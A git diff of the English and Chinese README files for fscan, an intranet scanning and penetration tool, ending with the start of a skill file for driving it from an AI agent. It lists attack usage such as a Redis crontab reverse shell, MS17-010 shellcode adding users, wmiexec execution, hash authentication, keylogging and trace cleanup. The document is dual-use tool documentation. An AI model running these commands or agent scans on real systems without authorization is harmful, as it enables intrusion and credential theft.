[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。
|
||||
[+] 2021/4/22 修改webtitle模块,加入gbk解码。
|
||||
[+] 2021/4/21 加入netbios探测、域控识别。
|
||||
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。
|
||||
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。
|
||||
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。
|
||||
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
|
||||
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。
|
||||
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。
|
||||
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。
|
||||
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
|
||||
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
|
||||
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
|
||||
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。
|
||||
[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。
|
||||
|
||||
[url-docen]: README_EN.md
|
||||
- https://github.com/Adminisme/ServerScan
|
||||
- https://github.com/netxfly/x-crack
|
||||
- https://github.com/hack2fun/Gscan
|
||||
- https://github.com/k8gege/LadonGo
|
||||
- https://github.com/jjf012/gopoc
|
||||
- https://github.com/chainreactors/gogo
|
||||
- https://github.com/0x727/FingerprintHub
|
||||
- https://github.com/killmonday/fscanx
|
||||
|
||||
+240
-214
@@ -1,260 +1,286 @@
|
||||
# fscan
|
||||
[中文][url-doczh]
|
||||
# Fscan
|
||||
|
||||
# 1. Introduction
|
||||
An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
|
||||
It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
|
||||
[中文](README.md)
|
||||
|
||||
# 2. Functions
|
||||
1.Information collection:
|
||||
* Survival detection(icmp)
|
||||
* Port scanning
|
||||
Comprehensive intranet scanning tool for automated vulnerability assessment.
|
||||
|
||||
2.Blasting:
|
||||
* Various service blasting(ssh、smb、rdp, etc.)
|
||||
* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
|
||||
**Version**: 2.2.1
|
||||
|
||||
3.System information, vulnerability scanning:
|
||||
* Netbios detection, domain control identification
|
||||
* Collect NIC information
|
||||
* High Risk Vulnerability Scanning(ms17010, etc.)
|
||||
## Features
|
||||
|
||||
4.Web detection:
|
||||
* Webtitle detection
|
||||
* Web fingerprinting (cms, oa framework, etc.)
|
||||
* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
|
||||
### Scanning
|
||||
- **Host Discovery** - ICMP/Ping alive detection, B/C segment statistics for large networks
|
||||
- **Port Scanning** - TCP connect scan, 133 built-in ports, port groups (web/db/service/all)
|
||||
- **Service Detection** - Smart protocol identification, 20+ service fingerprint matching
|
||||
- **Web Detection** - Website title, CMS fingerprint, web middleware, WAF/CDN detection (40+ signatures)
|
||||
|
||||
5.Exploit:
|
||||
* Write redis public key and scheduled tasks
|
||||
* Excute ssh command
|
||||
* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
|
||||
### Brute Force
|
||||
- **Password Cracking** - 28 services (SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis, etc.)
|
||||
- **Hash Authentication** - NTLM Hash support (SMB/WMI)
|
||||
- **SSH Key Login** - Private key authentication
|
||||
- **Smart Dictionary** - 100+ common passwords, {user} variable substitution
|
||||
|
||||
6.Others:
|
||||
* Save ouput result
|
||||
### Vulnerability Detection
|
||||
- **Critical Vulns** - MS17-010 (EternalBlue), SMBGhost (CVE-2020-0796)
|
||||
- **Unauthorized Access** - Redis/MongoDB/Memcached/Elasticsearch unauthorized detection
|
||||
- **POC Scanning** - Integrated web POC, Xray POC format support
|
||||
- **DNSLog** - DNSLog out-of-band detection
|
||||
|
||||
# 3. Instructions
|
||||
Getting Started
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24
|
||||
fscan.exe -h 192.168.1.1/16
|
||||
### Exploitation
|
||||
- **Redis Exploit** - Write pubkey, crontab, webshell, master-slave RCE
|
||||
- **MS17-010 Exploit** - ShellCode injection, add user, execute commands
|
||||
- **SSH Command Exec** - Auto command execution after authentication
|
||||
|
||||
### Local Modules
|
||||
- **Info Gathering** - System info, environment variables, DC info, NIC config
|
||||
- **Credential Access** - Memory dump (MiniDump), keylogger, registry export
|
||||
- **Persistence** - Systemd service, Windows service, scheduled tasks, startup, LD_PRELOAD
|
||||
- **Reverse Shell** - Forward shell, reverse shell, SOCKS5 proxy service
|
||||
- **AV Detection** - Identify installed security software
|
||||
- **Trace Cleanup** - Log cleaning tool
|
||||
|
||||
### Input/Output
|
||||
- **Target Input** - IP/CIDR/domain/URL, batch file import
|
||||
- **Exclusion Rules** - Exclude specific hosts, ports
|
||||
- **Output Formats** - TXT/JSON/CSV multi-format output
|
||||
- **Silent Mode** - No banner, no progress bar, no color output
|
||||
|
||||
### Network Control
|
||||
- **Proxy Support** - HTTP/SOCKS5 proxy, network interface binding
|
||||
- **Rate Control** - Rate limiting, max packet count control
|
||||
- **Timeout Control** - Port/Web/Global timeout independent config
|
||||
- **Concurrency** - Port scan threads, service scan threads independent config
|
||||
|
||||
### Extensions
|
||||
- **Web Management UI** - Visual scan task management (build with -tags web)
|
||||
- **Lab Environment** - Built-in Docker lab for testing and learning
|
||||
- **Plugin Architecture** - Service/Web/Local plugins separated, easy to extend
|
||||
- **Multi-language** - Chinese/English interface (-lang zh/en)
|
||||
- **Performance Stats** - JSON format performance report (-perf)
|
||||
|
||||
## v2.1.0 Changelog
|
||||
|
||||
> This update includes **262 commits**: 30 new features, 120 fixes, 54 refactors, 14 performance optimizations, 20 test enhancements.
|
||||
|
||||
### Architecture Refactoring
|
||||
- **Global Variable Elimination** - Migrated to Config/State objects for better concurrency safety and testability
|
||||
- **SMB Plugin Consolidation** - Merged smb/smb2/smbghost/smbinfo into unified plugin with new smb_protocol.go
|
||||
- **Service Probe Refactoring** - Implemented Nmap-style fallback mechanism, optimized port fingerprint strategy
|
||||
- **Output System Refactoring** - TXT real-time flush + dual-write mechanism, resolved result loss and ordering issues
|
||||
- **i18n Framework Upgrade** - Migrated to go-i18n, full coverage of core/plugins/webscan modules
|
||||
- **HostInfo Refactoring** - Ports field changed from string to int for type safety
|
||||
- **Function Complexity Optimization** - clusterpoc (125→30), EnhancedPortScan (111→20)
|
||||
- **Code Audit** - Fixed P0-P2 level issues, cleaned up deadcode
|
||||
- **Logging System Optimization** - LogDebug call cleanup (71→18), streamlined startup log output
|
||||
|
||||
### Performance Optimization
|
||||
- **Regex Precompilation** - Global regex precompilation to avoid repeated compilation overhead
|
||||
- **Memory Optimization** - Changed map[string]bool to map[string]struct{} for memory savings
|
||||
- **Concurrent Fingerprint Matching** - Multi-goroutine parallel matching for faster identification
|
||||
- **Connection Reuse** - SOCKS5 global dialer reuse to avoid repeated handshakes
|
||||
- **Sliding Window Scheduling** - Adaptive thread pool + streaming iterator for port scan optimization
|
||||
- **CEL Cache Optimization** - POC scan CEL environment caching to reduce repeated initialization
|
||||
- **Package-level Variable Extraction** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes etc.
|
||||
- **Capacity Pre-allocation** - Simplified conversion chains, single-pass string replacement
|
||||
- **Concurrency Safety Optimization** - Optimized lock granularity and memory allocation
|
||||
|
||||
### New Features
|
||||
- **Web Management UI** - Visual scan task management with responsive layout and progress display
|
||||
- **Multi-format POC Adapter** - Support for xray and afrog format POCs
|
||||
- **Smart Scan Mode** - Bloom filter deduplication + proxy optimization
|
||||
- **Enhanced Fingerprint Library** - Integrated FingerprintHub (3139 fingerprints)
|
||||
- **Favicon Fingerprinting** - Support for mmh3 and MD5 dual-format hash matching
|
||||
- **Universal Version Extractor** - Auto-extract service version information
|
||||
- **Fingerprint Priority Sorting** - Smart sorting of match results
|
||||
- **Smart Protocol Detection** - Auto-detect HTTP/HTTPS protocol type
|
||||
- **Network Interface Binding** - Support for VPN scenarios (-iface parameter)
|
||||
- **Exclude Hosts File** - Read excluded hosts from file (-ehf parameter)
|
||||
- **ICMP Token Bucket Rate Limiting** - Prevent router crashes from high-speed scanning
|
||||
- **Port Scan Retry** - Automatic retry mechanism for failed scans
|
||||
- **RDP Real Authentication** - Integrated grdp library for system fingerprinting
|
||||
- **SMB/FTP File Listing** - Auto-list files on anonymous access
|
||||
- **302 Redirect Dual Detection** - Identify fingerprints from both original and redirected responses
|
||||
- **TXT Output URL Summary** - Append web service URL list for batch testing
|
||||
- **gonmap Core Integration** - Three improvements: probe strategy/matching engine/version parsing
|
||||
- **Selective Plugin Compilation** - Build Tags system for independent service/local/web plugin compilation
|
||||
- **Default Port Expansion** - Extended from 62 to 133 common ports
|
||||
- **Full Port Scan Support** - Expanded port range limits
|
||||
- **HTTP Redirect Control** - Configurable redirect count limit
|
||||
- **Performance Profiling Support** - Added pprof profiling and benchmark tests
|
||||
- **TCP Packet Statistics** - Service plugins support TCP packet send statistics
|
||||
- **fscan-lab Environment** - Intranet penetration training platform covering all vulnerability scenarios
|
||||
- **Redis Exploitation Enhancement** - Ported complete Redis exploitation (write pubkey/crontab/webshell/master-slave RCE)
|
||||
- **rsync Plugin Refactoring** - Restructured authentication logic using go-rsync library
|
||||
|
||||
### Bug Fixes (120 items, key fixes listed)
|
||||
- **RDP Null Pointer Panic** - Fixed certificate parsing crash (#551)
|
||||
- **Batch Scan Missing Results** - Fixed large-scale scan omissions (#304)
|
||||
- **JSON Output Format** - Fixed output format errors (#446)
|
||||
- **Redis Weak Password Detection** - Fixed detection omissions (#447)
|
||||
- **Real-time Result Saving** - Fixed scan results not saved timely (#469)
|
||||
- **Nmap Parse Overflow** - Fixed octal escape parsing bug (#478)
|
||||
- **Fingerprint Race Condition** - Fixed webtitle/webpoc race issues (#474)
|
||||
- **MySQL Connection Validation** - Changed to information_schema for validation
|
||||
- **Proxy Port Misjudgment** - Fixed port status judgment in proxy mode
|
||||
- **Context Timeout** - Fixed 22 plugin timeout unresponsive issues
|
||||
- **ICMP Race Condition** - Fixed concurrent scan race issues
|
||||
- **IPv6 Address Format** - Fixed 4 address formatting issues
|
||||
- **POC High Concurrency Hang** - Fixed Context propagation issues
|
||||
- **Ctrl+C Result Loss** - Added signal handling for proper result saving
|
||||
- **SOCKS5 Echo Issue** - Added proxy connection validation
|
||||
- **Service Probe Leak** - Fixed connection not properly closed
|
||||
- **webtitle Response Discard** - Fixed partial response data being discarded causing identification failure
|
||||
- **TXT Vulnerability Info Missing** - Fixed output missing vulnerability details
|
||||
- **JSON Fingerprint Missing** - Unified SERVICE result Target format
|
||||
- **Scan Duration Display** - Fixed completion time showing as 0
|
||||
- **False Vulnerability Records** - Refactored TXT output system to eliminate false positives
|
||||
- **Redis Cross-platform Path** - Fixed exploitation path and timeout issues
|
||||
- **Windows Compilation Warnings** - Fixed fscan-lite platform compatibility
|
||||
- **Go 1.20 Compatibility** - Downgraded dependencies for compatibility
|
||||
|
||||
### Test Enhancements (20 items)
|
||||
- **Unit Tests** - Core module coverage at 74-100%
|
||||
- **Concurrency Safety Tests** - Dedicated tests for State object and fingerprint matching engine
|
||||
- **Integration Tests** - Web scan/port scan/service probe/SSH auth/ICMP probe
|
||||
- **CLI Parameter Tests** - Command-line argument parsing verification
|
||||
- **Performance Benchmarks** - AdaptivePool and service probe strategy benchmarks
|
||||
- **ResultBuffer Tests** - Deduplication and completeness scoring verification
|
||||
|
||||
### Engineering Improvements
|
||||
- **CI Pipeline Optimization** - Upgraded to golangci-lint v2, simplified build steps
|
||||
- **Issue Automation** - GitHub Issue template optimization, Project automation workflow
|
||||
- **Full Lint Fixes** - revive/errcheck/shadow/staticcheck/gosimple all passing
|
||||
- **README Rewrite** - Comprehensive Chinese and English documentation update
|
||||
- **Code Format Unification** - gofmt/goimports standardization
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
# Scan C-class network
|
||||
./fscan -h 192.168.1.1/24
|
||||
|
||||
# Specify ports
|
||||
./fscan -h 192.168.1.1 -p 22,80,443,3389
|
||||
|
||||
# Alive detection only
|
||||
./fscan -h 192.168.1.1/24 -ao
|
||||
|
||||
# Disable brute force
|
||||
./fscan -h 192.168.1.1/24 -nobr
|
||||
|
||||
# Web scanning
|
||||
./fscan -u http://192.168.1.1
|
||||
|
||||
# Local plugin
|
||||
./fscan -local systeminfo
|
||||
|
||||
# Hash authentication
|
||||
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
|
||||
|
||||
# Redis write pubkey
|
||||
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
|
||||
```
|
||||
|
||||
Advanced
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
|
||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
|
||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
|
||||
fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
|
||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
|
||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
|
||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
|
||||
fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
|
||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
|
||||
fscan.exe -hf ip.txt (Import target from file)
|
||||
fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
|
||||
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
|
||||
fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
|
||||
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
|
||||
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
|
||||
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
|
||||
```
|
||||
Compile command
|
||||
```
|
||||
go build -ldflags="-s -w " -trimpath main.go
|
||||
upx -9 fscan.exe (Optional, compressed)
|
||||
```
|
||||
Installation for arch users
|
||||
`yay -S fscan-git or paru -S fscan-git`
|
||||
## Build
|
||||
|
||||
Full parameters
|
||||
```
|
||||
Usage of ./fscan:
|
||||
-br int
|
||||
Brute threads (default 1)
|
||||
-c string
|
||||
exec command (ssh|wmiexec)
|
||||
-cookie string
|
||||
set poc cookie,-cookie rememberMe=login
|
||||
-debug int
|
||||
every time to LogErr (default 60)
|
||||
-dns
|
||||
using dnslog poc
|
||||
-domain string
|
||||
smb domain
|
||||
-full
|
||||
poc full scan,as: shiro 100 key
|
||||
-h string
|
||||
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
||||
-hash string
|
||||
hash
|
||||
-hf string
|
||||
host file, -hf ip.txt
|
||||
-hn string
|
||||
the hosts no scan,as: -hn 192.168.1.1/24
|
||||
-m string
|
||||
Select scan type ,as: -m ssh (default "all")
|
||||
-no
|
||||
not to save output log
|
||||
-nobr
|
||||
not to Brute password
|
||||
-nopoc
|
||||
not to scan web vul
|
||||
-np
|
||||
not to ping
|
||||
-num int
|
||||
poc rate (default 20)
|
||||
-o string
|
||||
Outputfile (default "result.txt")
|
||||
-p string
|
||||
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
|
||||
-pa string
|
||||
add port base DefaultPorts,-pa 3389
|
||||
-path string
|
||||
fcgi、smb romote file path
|
||||
-ping
|
||||
using ping replace icmp
|
||||
-pn string
|
||||
the ports no scan,as: -pn 445
|
||||
-pocname string
|
||||
use the pocs these contain pocname, -pocname weblogic
|
||||
-pocpath string
|
||||
poc file path
|
||||
-portf string
|
||||
Port File
|
||||
-proxy string
|
||||
set poc proxy, -proxy http://127.0.0.1:8080
|
||||
-pwd string
|
||||
password
|
||||
-pwda string
|
||||
add a password base DefaultPasses,-pwda password
|
||||
-pwdf string
|
||||
password file
|
||||
-rf string
|
||||
redis file to write sshkey file (as: -rf id_rsa.pub)
|
||||
-rs string
|
||||
redis shell to write cron file (as: -rs 192.168.1.1:6666)
|
||||
-sc string
|
||||
ms17 shellcode,as -sc add
|
||||
-silent
|
||||
silent scan
|
||||
-socks5 string
|
||||
set socks5 proxy, will be used in tcp connection, timeout setting will not work
|
||||
-sshkey string
|
||||
sshkey file (id_rsa)
|
||||
-t int
|
||||
Thread nums (default 600)
|
||||
-time int
|
||||
Set timeout (default 3)
|
||||
-top int
|
||||
show live len top (default 10)
|
||||
-u string
|
||||
url
|
||||
-uf string
|
||||
urlfile
|
||||
-user string
|
||||
username
|
||||
-usera string
|
||||
add a user base DefaultUsers,-usera user
|
||||
-userf string
|
||||
username file
|
||||
-wmi
|
||||
start wmi
|
||||
-wt int
|
||||
Set web timeout (default 5)
|
||||
```bash
|
||||
# Standard build
|
||||
go build -ldflags="-s -w" -trimpath -o fscan .
|
||||
|
||||
# With Web UI
|
||||
go build -tags web -ldflags="-s -w" -trimpath -o fscan-web .
|
||||
```
|
||||
|
||||
# 4. Demo
|
||||
## Install
|
||||
|
||||
`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
|
||||
```bash
|
||||
# Arch Linux
|
||||
yay -S fscan-git
|
||||
```
|
||||
|
||||
## Screenshots
|
||||
|
||||
`fscan.exe -h 192.168.x.x`
|
||||

|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis write pubkey)
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (add multiple passwords)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
|
||||
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5 proxy with authentication)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
|
||||
`fscan.exe -h 192.0.0.0/8 -m icmp`
|
||||

|
||||
|
||||
# 5. Disclaimer
|
||||

|
||||
|
||||
This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
|
||||

|
||||
|
||||
In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
|
||||
## Roadmap
|
||||
|
||||
When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
|
||||
### Release Schedule
|
||||
- **Release Cycle** - Monthly release
|
||||
- **First 2 Weeks** - New features and enhancements
|
||||
- **Last 2 Weeks** - Bug fixes and code integration
|
||||
- **PRs Welcome** - Contributions are appreciated!
|
||||
|
||||
If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
|
||||
### Plugin Ecosystem
|
||||
- Continuously expand service plugin coverage
|
||||
- Develop more vulnerability detection and exploitation capabilities for each service plugin
|
||||
- Maintain backward compatibility of plugin APIs to ensure legacy POCs remain functional
|
||||
|
||||
Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
|
||||
Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
|
||||
### Fscan-lite
|
||||
- Lightweight version rewritten in C
|
||||
- Smaller binary size, fewer dependencies
|
||||
- Support for embedded/restricted environments
|
||||
- Directory: [fscan-lite](./fscan-lite)
|
||||
|
||||
### Fscan-lab
|
||||
- Intranet penetration testing lab environment
|
||||
- Covers all vulnerability scenarios supported by fscan
|
||||
- Development testing and feature verification platform
|
||||
- Learning and practice environment for beginners
|
||||
- Directory: [fscan-lab](./fscan-lab)
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This tool is intended for **legally authorized** enterprise security testing only. Obtain proper authorization, comply with local laws, **do not scan unauthorized targets**. The author assumes no liability for any illegal use.
|
||||
|
||||
## 404StarLink
|
||||
|
||||
# 6. 404StarLink 2.0 - Galaxy
|
||||

|
||||
|
||||
Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy),If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
|
||||
fscan is a member of [404Team StarLink 2.0](https://github.com/knownsec/404StarLink2.0-Galaxy).
|
||||
|
||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
||||
## Star History
|
||||
|
||||
|
||||
# 7. Star Chart
|
||||
[](https://starchart.cc/shadow1ng/fscan)
|
||||
|
||||
# 8. Donation
|
||||
If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
|
||||
## Donate
|
||||
|
||||
# 9. Reference links
|
||||
https://github.com/Adminisme/ServerScan
|
||||
https://github.com/netxfly/x-crack
|
||||
https://github.com/hack2fun/Gscan
|
||||
https://github.com/k8gege/LadonGo
|
||||
https://github.com/jjf012/gopoc
|
||||
[Buy the author a drink](image/sponsor.png)
|
||||
|
||||
## References
|
||||
|
||||
# 10. Dynamics
|
||||
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
|
||||
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
|
||||
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
|
||||
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
|
||||
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
|
||||
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
|
||||
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
|
||||
[+] 2022/1/11 Add oracle password explosion.
|
||||
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
|
||||
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
|
||||
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
|
||||
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
|
||||
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
|
||||
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
|
||||
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
|
||||
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
|
||||
[+] 2021/4/21 Add netbios detection and domain control identification functions.
|
||||
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
|
||||
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
|
||||
[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
|
||||
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
|
||||
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
|
||||
[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
|
||||
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
|
||||
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
|
||||
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
|
||||
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
|
||||
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
|
||||
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
|
||||
|
||||
[url-doczh]: README.md
|
||||
- https://github.com/Adminisme/ServerScan
|
||||
- https://github.com/netxfly/x-crack
|
||||
- https://github.com/hack2fun/Gscan
|
||||
- https://github.com/k8gege/LadonGo
|
||||
- https://github.com/jjf012/gopoc
|
||||
- https://github.com/chainreactors/gogo
|
||||
- https://github.com/0x727/FingerprintHub
|
||||
- https://github.com/killmonday/fscanx
|
||||
|
||||
@@ -0,0 +1,304 @@
|
||||
---
|
||||
name: fscan-agent
|
||||
description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。
|
||||
argument-hint: <目标IP/网段> [附加参数]
|
||||
allowed-tools: Bash, Read, Agent
|
||||
---
|
||||
|
||||
# Fscan AI Agent Skill
|
||||
|
||||
## 工具概述
|
||||
|
||||
Fscan 是一款内网综合扫描工具,功能包括:
|
||||
- 主机存活探测(ICMP / TCP)
|
||||
- 端口扫描与服务识别
|
||||
- 漏洞检测(MS17-010、Redis 未授权等)
|
||||
- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等)
|
||||
- Web 指纹识别与 POC 扫描
|
||||
- NetBIOS / SMB 信息收集
|
||||
- 本地信息收集(杀软检测、系统信息等)
|
||||
|
||||
二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`。
|
||||
|
||||
## 调用格式
|
||||
|
||||
```bash
|
||||
# AI agent 标准用法:NDJSON 输出,无人类日志干扰
|
||||
fscan -h <目标> -silent [其他参数]
|
||||
|
||||
# 解析输出
|
||||
fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")'
|
||||
```
|
||||
|
||||
## 核心参数
|
||||
|
||||
### 目标指定
|
||||
|
||||
| 参数 | 说明 | 示例 |
|
||||
|------|------|------|
|
||||
| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` |
|
||||
| `-hf` | 从文件读取目标 | `-hf targets.txt` |
|
||||
| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` |
|
||||
| `-ep` | 排除端口 | `-ep 25,110` |
|
||||
| `-eh` | 排除主机 | `-eh 192.168.1.1` |
|
||||
